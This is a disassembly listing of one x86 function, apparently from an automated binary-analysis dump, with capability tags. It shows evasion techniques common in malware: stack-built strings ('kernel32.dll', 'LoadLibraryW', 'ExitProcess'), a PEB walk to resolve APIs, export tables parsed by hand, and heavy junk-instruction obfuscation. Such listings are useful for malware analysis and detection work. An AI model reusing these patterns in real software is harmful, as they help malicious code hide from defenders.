Function at 0x41dcf6
Capabilities:
Contain obfuscated stackstrings
Get number of processors

Disassembly:
mov edx, dword [ebp - 0x4cc]
add edx, 1
mov dword [ebp - 0x4cc], edx
push edi
push eax
add esp, 4
xor edi, 0x175d7
jmp 0x41d059
add edi, 0x16df4
sub edi, 0x145ed
pop edi
push esi
push ecx
add esp, 4
or esi, 0x1294c
or esi, 0x9aa
pop esi
mov eax, dword [ebp - 0x4cc]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x41d0c0
push ecx
xor ecx, 0x7952
or ecx, 0x11ae6
and ecx, 0x12afb
pop ecx
push edi
push edx
add esp, 4
call 0x41d0b1
add byte [ecx], bh
inc esp
inc edx
inc ecx
xor cl, byte [ecx + 0x4b]
inc esp
inc edx
add esp, 4
or edi, 0x6c2d
pop edi
jmp 0x41d2ee
mov dword [ebp - 0xc08], 7
mov ecx, dword [ebp - 0x4cc]
mov dword [ebp - 0xa68], ecx
push eax
sub eax, 0x1076d
pop eax
push esi
add esi, 0x617d
add byte [ecx + 0xf9ddce], al
add bl, ch
invalid
pop esi
push esi
push ebx
add esp, 4
call 0x41d104
add byte [edx], bh
dec esp
cmp al, byte [ebx + 0x46]
cmp cl, byte [eax + 0x40]
add esp, 4
pop esi
mov edx, dword [ebp - 0x14bc]
mov dword [ebp - 0xa64], edx
mov dword [ebp - 0xc0c], 0
mov eax, dword [ebp - 0x4cc]
cmp eax, dword [ebp - 0x14bc]
jne 0x41d16f
push eax
xor eax, 0x4d89
and eax, 0x6bf4
pop eax
push eax
push edi
add esp, 4
xor eax, 0xdcb5
sub eax, 0x4339
pop eax
push edx
push eax
add esp, 4
and edx, 0x555a
sub edx, 0x7824
pop edx
mov ecx, dword [ebp - 0xc0c]
mov dword [ebp - 0x14c4], ecx
jmp 0x41d2a0
cmp dword [ebp - 0xc08], 0
jle 0x41d294
push esi
sub esi, 0xb993
or esi, 0xd002
sub esi, 0x3f6b
sub esi, 0xd666
pop esi
push ecx
push ecx
add esp, 4
and ecx, 0x3616
sub ecx, 0x696e
and ecx, 0x16bc0
pop ecx
mov edx, dword [ebp - 0xa68]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xa64]
movzx edx, byte [ecx]
cmp eax, edx
je 0x41d230
push ebx
xor ebx, 0x14ba0
pop ebx
push edx
push ebx
add esp, 4
xor edx, 0x8095
call 0x41d1e6
add byte [esi + 0x44], al
dec edx
cmp al, byte [eax + 0x3a]
xor cl, byte [eax + 0x33]
add esp, 4
add edx, 0xd5ec
jmp 0x41d1f5
pop edx
mov eax, dword [ebp - 0xa68]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xa64]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x41d218
mov dword [ebp - 0x14c0], 1
jmp 0x41d222
mov dword [ebp - 0x14c0], 0xffffffff
mov ecx, dword [ebp - 0x14c0]
mov dword [ebp - 0xc0c], ecx
jmp 0x41d294
push ebx
push esi
add esp, 4
call 0x41d241
add byte [eax + 0x3b], al
dec esi
dec ecx
dec edi
dec esp
add esp, 4
add ebx, 0x5c5e
call 0x41d258
add byte [0x34404e3c], dh
inc edx
cmp byte [ebx - 0x1c7efb3c], al
cmp al, 0x16
add dword [eax], eax
pop ebx
mov edx, dword [ebp - 0xc08]
sub edx, 1
mov dword [ebp - 0xc08], edx
mov eax, dword [ebp - 0xa68]
add eax, 1
mov dword [ebp - 0xa68], eax
mov ecx, dword [ebp - 0xa64]
add ecx, 1
mov dword [ebp - 0xa64], ecx
jmp 0x41d16f
mov edx, dword [ebp - 0xc0c]
mov dword [ebp - 0x14c4], edx
cmp dword [ebp - 0x14c4], 0
jne 0x41d2e9
push edx
push esi
add esp, 4
sub edx, 0x4135
pop edx
push ecx
or ecx, 0x6c81
pop ecx
push edi
push ebx
add esp, 4
add edi, 0x55da
and edi, 0xfb20
or edi, 0x16d28
add edi, 0x7ccd
pop edi
mov eax, dword [ebp - 0x4cc]
mov dword [ebp - 0x3cc], eax
jmp 0x41d32a
jmp 0x41d037
push ebx
xor ebx, 0x16388
or ebx, 0x10d89
pop ebx
push edi
push edx
add esp, 4
and edi, 0x14bcc
add edi, 0xd0c2
and edi, 0xbedb
pop edi
push ecx
push ecx
add esp, 4
add ecx, 0x97a2
pop ecx
mov dword [ebp - 0x3cc], 0
push eax
push ebx
add esp, 4
call 0x41d33f
add byte [eax + 0x3d], cl
cmp edi, dword [edi]
aas
dec edi
dec esi
dec ebp
add esp, 4
add eax, 0xb367
pop eax
push edi
call 0x41d358
add byte [edx], dh
aas
aaa
dec esi
dec ebx
dec ebx
xor al, 0x83
les eax, [edi + ebx*2]
push edi
xor edi, 0xc196
pop edi
push edx
push esi
add esp, 4
call 0x41d378
add byte [eax + 0x3f], dl
inc ebx
inc ebx
cmp dword ss:[ebx], esi
dec edx
inc ebp
add esp, 4
sub edx, 0x11d58
pop edx
push esi
push eax
add esp, 4
add esi, 0x12d63
pop esi
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xb80]
mov dword [ebp - 0x14c8], eax
push edx
add edx, 0x15bc
xor edx, 0x13490
pop edx
push ebx
jmp 0x41d3ba
pop ebx
push ebx
and ebx, 0x9796
and ebx, 0x5804
or ebx, 0xec11
or ebx, 0x17a13
pop ebx
mov dword [ebp - 0x1fac], 0xffffffff
push esi
call 0x41d3f0
add byte [edx], dh
cmp byte [esi + 0x32], cl
dec esi
dec esi
inc ebp
xor eax, 0x4c4834e
add esi, 0x2bbf
pop esi
push ecx
jmp 0x41d404
xor ecx, 0x98a1
or ecx, 0xddf6
pop ecx
mov ecx, dword [ebp - 0x3c0]
mov dword [ebp - 0x4d0], ecx
jmp 0x41d42e
mov edx, dword [ebp - 0x4d0]
add edx, 1
mov dword [ebp - 0x4d0], edx
push eax
add eax, 0x9b58
call 0x41d442
add byte [0x4a463a48], dh
cmp al, 0x42
add esp, 4
pop eax
push ecx
and ecx, 0xfd08
and ecx, 0x14802
add ecx, 0x113eb
and ecx, 0x10852
pop ecx
mov eax, dword [ebp - 0x4d0]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x41d4a8
push ecx
push edx
add esp, 4
or ecx, 0x8cf2
add ecx, 0x12ee
xor ecx, 0x7cae
xor ecx, 0x1536f
pop ecx
push edx
and edx, 0x1bee
or edx, 0x1209b
add edx, 0x140d8
pop edx
jmp 0x41d6d6
mov dword [ebp - 0xc10], 7
mov ecx, dword [ebp - 0x4d0]
mov dword [ebp - 0xa60], ecx
push ebx
push edx
add esp, 4
jmp 0x41d4c8
call 0x41d4d4
add byte [esi + 0x334f4d45], dh
add esp, 4
or ebx, 0xd342
pop ebx
push esi
push edi
add esp, 4
or esi, 0x5987
xor esi, 0x173ed
pop esi
mov edx, dword [ebp - 0x14c8]
mov dword [ebp - 0x9f0], edx
mov dword [ebp - 0xc14], 0
mov eax, dword [ebp - 0x4d0]
cmp eax, dword [ebp - 0x14c8]
jne 0x41d557
push edx
or edx, 0xd816
or edx, 0x111c9
add edx, 0x4c9d
call 0x41d536
add byte [esi], bh
inc eax
inc ebp
cmp dword [ecx + 0x33], ecx
push eax
xor eax, 0x4c4833e
pop edx
push edx
push edx
add esp, 4
add edx, 0xaab8
pop edx
mov ecx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], ecx
jmp 0x41d688
cmp dword [ebp - 0xc10], 0
jle 0x41d67c
push esi
push esi
add esp, 4
xor esi, 0x158ed
jmp 0x41d576
and esi, 0xb3de
pop esi
push edx
push edi
add esp, 4
call 0x41d592
add byte [edi + 0x43], cl
inc esp
dec eax
inc ecx
inc ebp
inc esp
cmp dword [edx + 0x4c], eax
add esp, 4
pop edx
mov edx, dword [ebp - 0xa60]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x9f0]
movzx edx, byte [ecx]
cmp eax, edx
je 0x41d618
push eax
push eax
add esp, 4
xor eax, 0x84ec
xor eax, 0x685d
pop eax
push ecx
push ebx
add esp, 4
sub ecx, 0x11335
pop ecx
push ebx
jmp 0x41d5d1
or ebx, 0x38a8
sub ebx, 0x514f
pop ebx
mov eax, dword [ebp - 0xa60]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x9f0]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x41d600
mov dword [ebp - 0x14cc], 1
jmp 0x41d60a
mov dword [ebp - 0x14cc], 0xffffffff
mov ecx, dword [ebp - 0x14cc]
mov dword [ebp - 0xc14], ecx
jmp 0x41d67c
push esi
call 0x41d627
add byte [edx], bh
cmp dword [ecx + 0x32], ecx
dec ebp
dec edi
cmp esi, dword [ebx + eax*4]
les eax, [esi + ebx*2]
push edi
push ecx
add esp, 4
xor edi, 0x4cfd
jmp 0x41d63d
or edi, 0x609a
add edi, 0xaf8a
pop edi
mov edx, dword [ebp - 0xc10]
sub edx, 1
mov dword [ebp - 0xc10], edx
mov eax, dword [ebp - 0xa60]
add eax, 1
mov dword [ebp - 0xa60], eax
mov ecx, dword [ebp - 0x9f0]
add ecx, 1
mov dword [ebp - 0x9f0], ecx
jmp 0x41d557
mov edx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], edx
cmp dword [ebp - 0x14d0], 0
jne 0x41d6d1
push edx
and edx, 0x3bc9
pop edx
push ecx
call 0x41d6a6
add byte [0x38343243], bh
cmp byte [ebx + 0x505904c4], al
or eax, 0x3154
or eax, 0xdb79
sub eax, 0x17940
jmp 0x41d6c2
pop eax
mov eax, dword [ebp - 0x4d0]
mov dword [ebp - 0xa5c], eax
jmp 0x41d712
jmp 0x41d41f
push eax
xor eax, 0x10f0f
or eax, 0x1423f
call 0x41d6f2
add byte [edi + 0x3a], cl
xor al, byte ds:[edx + 0x43]
cmp eax, dword [ecx - 0x7d]
les eax, [eax + ebx*2]
push edi
push edi
add esp, 4
and edi, 0x75cc
add edi, 0x16fa8
pop edi
mov dword [ebp - 0xa5c], 0
push ecx
push eax
add esp, 4
call 0x41d726
add byte [0x4f354c3d], bh
aas
inc edx
aas
xor al, byte [ebx - 0x367efb3c]
xchg ebp, eax
push 0xe1810000
adc byte [ecx], ch
add bl, ch
add al, 0x4c
xor edi, dword [ebx + ecx*2]
pop ecx
push ecx
or ecx, 0xd5cb
pop ecx
mov byte [ebp - 0x804], 0x45
mov byte [ebp - 0x803], 0x78
mov byte [ebp - 0x802], 0x69
mov byte [ebp - 0x801], 0x74
mov byte [ebp - 0x800], 0x50
mov byte [ebp - 0x7ff], 0x72
mov byte [ebp - 0x7fe], 0x6f
mov byte [ebp - 0x7fd], 0x63
mov byte [ebp - 0x7fc], 0x65
mov byte [ebp - 0x7fb], 0x73
mov byte [ebp - 0x7fa], 0x73
mov byte [ebp - 0x7f9], 0
push ecx
push ebx
add esp, 4
xor ecx, 0xdd15
add ecx, 0xe1a
pop ecx
push edx
or edx, 0x832e
sub edx, 0x18625
jmp 0x41d7bd
pop edx
push eax
push edx
add esp, 4
sub eax, 0x57b3
pop eax
mov ecx, 0x6b
mov word [ebp - 0x1628], cx
mov edx, 0x65
mov word [ebp - 0x1626], dx
mov eax, 0x72
mov word [ebp - 0x1624], ax
mov ecx, 0x6e
mov word [ebp - 0x1622], cx
mov edx, 0x65
mov word [ebp - 0x1620], dx
mov eax, 0x6c
mov word [ebp - 0x161e], ax
mov ecx, 0x33
mov word [ebp - 0x161c], cx
mov edx, 0x32
mov word [ebp - 0x161a], dx
mov eax, 0x2e
mov word [ebp - 0x1618], ax
mov ecx, 0x64
mov word [ebp - 0x1616], cx
mov edx, 0x6c
mov word [ebp - 0x1614], dx
mov eax, 0x6c
mov word [ebp - 0x1612], ax
xor ecx, ecx
mov word [ebp - 0x1610], cx
push edi
or edi, 0xafdf
sub edi, 0x97b0
xor edi, 0x11a9c
pop edi
push ecx
push edi
add esp, 4
sub ecx, 0x166a3
sub ecx, 0xc266
xor ecx, 0x29e0
add ecx, 0x14073
pop ecx
push ecx
push eax
add esp, 4
call 0x41d8a9
add byte [ebx], bh
cmp cl, byte [esi + 0x37]
inc edi
dec esp
cmp dword [esi + 0x3c], ecx
add esp, 4
pop ecx
push esi
or esi, 0xd9eb
add esi, 0xc50f
and esi, 0x874b
and esi, 0x6795
pop esi
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1890], edx
mov eax, dword [ebp - 0x1890]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1894], ecx
mov edx, dword [ebp - 0x1894]
mov dword [ebp - 0x14d4], edx
push esi
push esi
add esp, 4
call 0x41d904
add byte [eax + 0x34], dl
inc ebp
dec eax
xor esi, dword [edi]
cmp al, 0x40
inc edi
add esp, 4
call 0x41d917
add byte [eax + 0x3a], al
inc ecx
xor al, byte [ecx + 0x36]
dec esp
inc ebp
dec ebx
xor al, byte [ebx - 0x97efb3c]
adc eax, 0x5e000135
cmp dword [ebp - 0x14d4], 0
jne 0x41d939
mov dword [ebp - 0x2e0], 0
jmp 0x41dbf5
mov eax, dword [ebp - 0x14d4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc20], edx
push edi
xor edi, 0x115cb
and edi, 0xe964
or edi, 0x5a8a
pop edi
push esi
jmp 0x41d965
pop esi
push ecx
call 0x41d973
add byte [esi], dh
aas
dec esi
dec ecx
cmp byte [esi], bh
add esp, 4
add ecx, 0x15700
pop ecx
cmp dword [ebp - 0xc20], 0
jne 0x41d995
mov dword [ebp - 0x2e0], 0
jmp 0x41dbf5
mov eax, dword [ebp - 0xc20]
mov dword [ebp - 0x4d4], eax
push ebx
and ebx, 0xd12b
call 0x41d9b7
add byte [edx + edi + 0x45], al
dec esi
dec edx
xor eax, dword [eax + 0x48]
aaa
add esp, 4
pop ebx
push edi
push ebx
add esp, 4
or edi, 0x6447
sub edi, 0xc6b5
add edi, 0xae5f
pop edi
lea ecx, [ebp - 0x1628]
mov dword [ebp - 0xc1c], ecx
mov edx, dword [ebp - 0x4d4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc18], eax
xor ecx, ecx
mov word [ebp - 0x1f8], cx
xor edx, edx
mov word [ebp - 0x100], dx
push eax
and eax, 0x6954
and eax, 0xf619
pop eax
push esi
push edx
add esp, 4
add esi, 0x8578
pop esi
push esi
push ecx
add esp, 4
call 0x41da2e
add byte [edi + 0x3f], al
dec ebx
xor eax, 0x4d4d334b
cmp dword [ebx - 0x74a1fb3c], eax
test eax, ebp
invalid
push edx
jmp 0x41dbfd
and edx, 0x7f7
or edx, 0x17e82
pop edx
push esi
sub esi, 0x9c2b
xor esi, 0xe4cb
add esi, 0x8484
jmp 0x41dc26
pop esi
cmp dword [ebp - 0x2e0], 0
jne 0x41e540
mov edx, 0x6b
mov word [ebp - 0x16cc], dx
mov eax, 0x65
mov word [ebp - 0x16ca], ax
mov ecx, 0x72
mov word [ebp - 0x16c8], cx
mov edx, 0x6e
mov word [ebp - 0x16c6], dx
mov eax, 0x65
mov word [ebp - 0x16c4], ax
mov ecx, 0x6c
mov word [ebp - 0x16c2], cx
mov edx, 0x33
mov word [ebp - 0x16c0], dx
mov eax, 0x32
mov word [ebp - 0x16be], ax
mov ecx, 0x2e
mov word [ebp - 0x16bc], cx
mov edx, 0x64
mov word [ebp - 0x16ba], dx
mov eax, 0x6c
mov word [ebp - 0x16b8], ax
mov ecx, 0x6c
mov word [ebp - 0x16b6], cx
xor edx, edx
mov word [ebp - 0x16b4], dx
push ebx
push edi
add esp, 4
jmp 0x41dcd8
xor ebx, 0x6309
sub ebx, 0x124e4
pop ebx
push ebx
call 0x41dcf6
add byte [esi + 0x35], cl
push eax
xor cl, byte [esi + 0x39]
cmp al, byte [ecx + eax*2 + 0x4c]
add esp, 4
jmp 0x41dcfe
pop ebx
mov byte [ebp - 0x820], 0x4c
mov byte [ebp - 0x81f], 0x6f
mov byte [ebp - 0x81e], 0x61
mov byte [ebp - 0x81d], 0x64
mov byte [ebp - 0x81c], 0x4c
mov byte [ebp - 0x81b], 0x69
mov byte [ebp - 0x81a], 0x62
mov byte [ebp - 0x819], 0x72
mov byte [ebp - 0x818], 0x61
mov byte [ebp - 0x817], 0x72
mov byte [ebp - 0x816], 0x79
mov byte [ebp - 0x815], 0x57
mov byte [ebp - 0x814], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1898], eax
mov ecx, dword [ebp - 0x1898]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x189c], edx
mov eax, dword [ebp - 0x189c]
mov dword [ebp - 0x14dc], eax
push ebx
jmp 0x41dd88
add ebx, 0x18479
add ebx, 0x15d5
pop ebx
push edx
push ecx
add esp, 4
call 0x41dda9
add byte [eax + 0x3a], al
dec edi
inc eax
dec edi
dec ebx
dec eax
inc esp
inc ebp
add esp, 4
sub edx, 0x16c87
pop edx
cmp dword [ebp - 0x14dc], 0
jne 0x41ddcb
mov dword [ebp - 0x6ec], 0
jmp 0x41e087
mov ecx, dword [ebp - 0x14dc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc2c], eax
push ebx
and ebx, 0xdf14
jmp 0x41dde9
and ebx, 0xca80
pop ebx
push ebx
sub ebx, 0x6e4b
call 0x41de05
add byte [0x37483332], dh
inc eax
dec ecx
inc edx
add esp, 4
sub ebx, 0xdb37
pop ebx
cmp dword [ebp - 0xc2c], 0
jne 0x41de27
mov dword [ebp - 0x6ec], 0
jmp 0x41e087
mov ecx, dword [ebp - 0xc2c]
mov dword [ebp - 0x4d8], ecx
push eax
push edi
add esp, 4
call 0x41de46
add byte [edi + 0x37], cl
inc esp
dec ebx
dec esi
dec eax
inc edi
add esp, 4
pop eax
push edi
call 0x41de5b
add byte [eax], bh
dec ebx
dec eax
inc ebx
cmp ecx, dword [eax + eax*2 + 0x3f]
dec ebp
inc esp
add esp, 4
and edi, 0x3d5c
pop edi
lea edx, [ebp - 0x16cc]
mov dword [ebp - 0xc28], edx
mov eax, dword [ebp - 0x4d8]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc24], ecx
xor edx, edx
mov word [ebp - 0x1fc], dx
xor eax, eax
mov word [ebp - 0x104], ax
push eax
push edi
add esp, 4
jmp 0x41de9e
pop eax
push edi
and edi, 0x15f55
add edi, 0x10102
add edi, 0xc768
call 0x41dec0
add byte [esi + 0x4e], al
cmp dword [edi], esi
dec esi
dec edi
dec esi
xor eax, 0x5f04c483
mov ecx, dword [ebp - 0xc24]
mov dx, word [ecx]
mov word [ebp - 0xf82], dx
mov eax, dword [ebp - 0xc24]
add eax, 2
mov dword [ebp - 0xc24], eax
mov cx, word [ebp - 0xf82]
mov word [ebp - 0x1fc], cx
mov edx, dword [ebp - 0xc28]
mov ax, word [edx]
mov word [ebp - 0xf84], ax
mov ecx, dword [ebp - 0xc28]
add ecx, 2
mov dword [ebp - 0xc28], ecx
mov dx, word [ebp - 0xf84]
mov word [ebp - 0x104], dx
push ecx
and ecx, 0xb822
xor ecx, 0x16b58
and ecx, 0xfaeb
and ecx, 0x4bf3
pop ecx
push eax
xor eax, 0x4e2e
call 0x41df4c
add byte [0x3d503e34], bh
xor al, 0x3d
add esp, 4
pop eax
movzx eax, word [ebp - 0x104]
test eax, eax
jne 0x41df73
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
sub ecx, edx
mov dword [ebp - 0x14e4], ecx
jmp 0x41dfd6
movzx eax, word [ebp - 0x1fc]
movzx ecx, word [ebp - 0x104]
cmp eax, ecx
je 0x41de92
movzx edx, word [ebp - 0x1fc]
xor edx, 0x20
movzx eax, word [ebp - 0x104]
cmp edx, eax
je 0x41de92
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
cmp ecx, edx
jge 0x41dfc0
mov dword [ebp - 0x14e0], 0xffffffff
jmp 0x41dfca
mov dword [ebp - 0x14e0], 1
mov eax, dword [ebp - 0x14e0]
mov dword [ebp - 0x14e4], eax
cmp dword [ebp - 0x14e4], 0
jne 0x41e01f
push eax
or eax, 0x11c49
and eax, 0x14da9
pop eax
push edx
jmp 0x41dff5
call 0x41e001
add byte [edx + edi], bh
cmp eax, 0x83324d41
les eax, [ebx + ebp*8]
add al, 0x49
inc esi
dec esi
inc ecx
or edx, 0x9322
pop edx
mov ecx, dword [ebp - 0x4d8]
mov dword [ebp - 0x6ec], ecx
jmp 0x41e087
push esi
or esi, 0x9112
pop esi
push ebx
jmp 0x41e02f
pop ebx
push eax
add eax, 0x8b5a
pop eax
push ecx
push ecx
add esp, 4
and ecx, 0xb595
jmp 0x41e04a
jmp 0x41e050
pop ecx
mov edx, dword [ebp - 0x4d8]
mov eax, dword [edx]
mov dword [ebp - 0x4d8], eax
mov ecx, dword [ebp - 0x4d8]
cmp ecx, dword [ebp - 0xc2c]
je 0x41e07d
mov edx, dword [ebp - 0x4d8]
cmp dword [edx + 0x30], 0
jne 0x41de33
mov dword [ebp - 0x6ec], 0
push edx
push edx
add esp, 4
xor edx, 0xef34
xor edx, 0xa57
sub edx, 0xe160
or edx, 0x14ac8
pop edx
push ebx
push ecx
add esp, 4
jmp 0x41e0b2
sub ebx, 0x1134d
pop ebx
cmp dword [ebp - 0x6ec], 0
jne 0x41e103
push eax
push eax
add esp, 4
xor eax, 0x7d02
and eax, 0x4d1a
or eax, 0x10747
pop eax
push edi
and edi, 0xac48
and edi, 0xf7c1
add edi, 0x8d26
add edi, 0x92ca
pop edi
mov dword [ebp - 0x738], 0
jmp 0x41ec2a
push edx
push edi
add esp, 4
sub edx, 0xcbe4
xor edx, 0x11abf
xor edx, 0x41e2
pop edx
push edx
push ecx
add esp, 4
sub edx, 0x14989
sub edx, 0xf7e1
pop edx
push ecx
or ecx, 0x7dfb
pop ecx
mov eax, dword [ebp - 0x6ec]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2f8], ecx
mov dword [ebp - 0x6fc], 0
mov edx, dword [ebp - 0x2f8]
mov dword [ebp - 0x14e8], edx
cmp dword [ebp - 0x14e8], 0
jne 0x41e174
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x41e465
mov ecx, dword [ebp - 0x14e8]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x14ec], edx
jne 0x41e19c
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x41e465
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x14ec]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x14f0], ecx
cmp dword [ebp - 0x14f0], 0
jne 0x41e1ce
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
jmp 0x41e465
mov eax, dword [ebp - 0x2f8]
add eax, dword [ebp - 0x14f0]
mov dword [ebp - 0x6f0], eax
jne 0x41e1f3
mov ecx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], ecx
jmp 0x41e465
mov edx, dword [ebp - 0x6f0]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18a0], eax
mov ecx, dword [ebp - 0x6f0]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18a4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18a8], ecx
mov dword [ebp - 0x6f4], 0
jmp 0x41e24d
mov edx, dword [ebp - 0x6f4]
add edx, 1
mov dword [ebp - 0x6f4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x6f4]
cmp ecx, dword [eax + 0x18]
jae 0x41e459
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x6f8], ecx
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18a8]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18ac], eax
mov dword [ebp - 0x180], 0
jmp 0x41e2bd
mov ecx, dword [ebp - 0x180]
add ecx, 1
mov dword [ebp - 0x180], ecx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
test eax, eax
je 0x41e36f
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
test edx, edx
je 0x41e36f
push ecx
push eax
add esp, 4
or ecx, 0x21cb
sub ecx, 0xf756
pop ecx
push eax
push eax
add esp, 4
add eax, 0x1315
and eax, 0x140ee
add eax, 0x18036
jmp 0x41e31b
pop eax
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
cmp ecx, eax
je 0x41e361
mov ecx, dword [ebp - 0x6f8]
add ecx, dword [ebp - 0x180]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x180]
movsx ecx, byte [ebp + eax - 0x820]
cmp edx, ecx
jne 0x41e368
jmp 0x41e2ae
jmp 0x41e36f
push eax
sub eax, 0x4d50
pop eax
push ebx
sub ebx, 0x8020
and ebx, 0x3657
pop ebx
push ebx
or ebx, 0x4c76
xor ebx, 0x3328
or ebx, 0x184bf
pop ebx
push esi
xor esi, 0xb0ef
pop esi
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
cmp eax, edx
jne 0x41e3ce
mov dword [ebp - 0xc30], 0
jmp 0x41e43d
push ecx
push ecx
add esp, 4
add ecx, 0xdc9d
jmp 0x41e3e1
pop ecx
push edi
xor edi, 0x2db8
pop edi
push ecx
or ecx, 0x4be6
jmp 0x41e3f9
and ecx, 0x1805d
pop ecx
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
or eax, 0x20
cmp ecx, eax
jge 0x41e433
mov dword [ebp - 0xc30], 0xffffffff
jmp 0x41e43d
mov dword [ebp - 0xc30], 1
cmp dword [ebp - 0xc30], 0
jne 0x41e454
mov ecx, dword [ebp - 0x18ac]
mov dword [ebp - 0x3c4], ecx
jmp 0x41e465
jmp 0x41e23e
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
cmp dword [ebp - 0x3c4], 0
je 0x41e540
push eax
push ecx
add esp, 4
add eax, 0x1460b
pop eax
push esi
call 0x41e48e
add byte [ebp + 0x41], al
inc edx
aas
inc esi
inc ebp
aas
cmp eax, dword [ebx - 0x317efb3c]
out dx, al
adc eax, dword [eax]
add byte [esi + 0x56], bl
push edi
add esp, 4
or esi, 0x715a
pop esi
mov eax, dword [ebp - 0x3c4]
mov dword [ebp - 0x18b0], eax
push ebx
sub ebx, 0x17985
call 0x41e4c4
add byte [ebp + 0x35], al
dec esp
xor edi, dword [ecx*2 + 0x4c48334]
add ebx, 0x16fea
pop ebx
push ebx
add ebx, 0x18427
xor ebx, 0x45c2
sub ebx, 0x5762
pop ebx
mov ecx, dword [ebp - 0x18b0]
mov dword [ebp - 0x18b4], ecx
lea edx, [ebp - 0x1628]
push edx
call dword [ebp - 0x18b4]
test eax, eax
jne 0x41e540
push eax
sub eax, 0xfa99
pop eax
push ecx
push edi
add esp, 4
or ecx, 0x1fe3
or ecx, 0x4d55
xor ecx, 0x12431
add ecx, 0x7530
pop ecx
push ecx
push eax
add esp, 4
add ecx, 0x499
pop ecx
mov dword [ebp - 0x738], 0
jmp 0x41ec2a
push edx
push edi
add esp, 4
and edx, 0xaebd
add edx, 0x13987
pop edx
push edi
push edi
add esp, 4
add edi, 0x1864e
pop edi
push eax
or eax, 0x1192b
sub eax, 0x14ed7
or eax, 0x5ecc
pop eax
mov eax, dword fs:[0x18]
mov dword [ebp - 0x18b8], eax
mov ecx, dword [ebp - 0x18b8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18bc], edx
mov eax, dword [ebp - 0x18bc]
mov dword [ebp - 0x14f4], eax
push edx
or edx, 0xc8fd
or edx, 0x129d5
and edx, 0x500d
xor edx, 0x11269
pop edx
push eax
push ecx
add esp, 4
and eax, 0x10975
and eax, 0x11371
or eax, 0x7acc
pop eax
cmp dword [ebp - 0x14f4], 0
jne 0x41e5e3
mov dword [ebp - 0x2e0], 0
jmp 0x41e88a
mov ecx, dword [ebp - 0x14f4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc3c], eax
push edx
call 0x41e606
add byte [eax + 0x4c], al
cmp byte [ecx + 0x36], cl
cmp bh, byte [edi + esi]
push eax
cmp al, 0x83
les eax, [ebx + ebp*8]
add edi, dword [edi]
inc esi
dec ebp
sub edx, 0x11f29
jmp 0x41e61a
pop edx
push ebx
push ecx
add esp, 4
or ebx, 0x4d61
pop ebx
cmp dword [ebp - 0xc3c], 0
jne 0x41e63f
mov dword [ebp - 0x2e0], 0
jmp 0x41e88a
mov ecx, dword [ebp - 0xc3c]
mov dword [ebp - 0x4dc], ecx